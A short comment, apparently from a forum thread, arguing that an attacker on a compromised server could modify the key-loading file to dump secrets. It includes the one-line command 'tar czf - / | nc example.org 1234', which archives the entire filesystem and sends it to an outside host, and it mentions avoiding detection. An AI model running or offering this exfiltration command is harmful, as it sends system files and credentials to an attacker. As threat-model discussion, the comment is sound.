If your entire box running with source is compromised, could you not just edit whichever file pulls the key to also dump it to a file on start .?
tar czf - / | nc example.org 1234
and exploring the dumped server offline, only going back if the initial dump didn't raise alarms and the RCE is easy enough to trigger.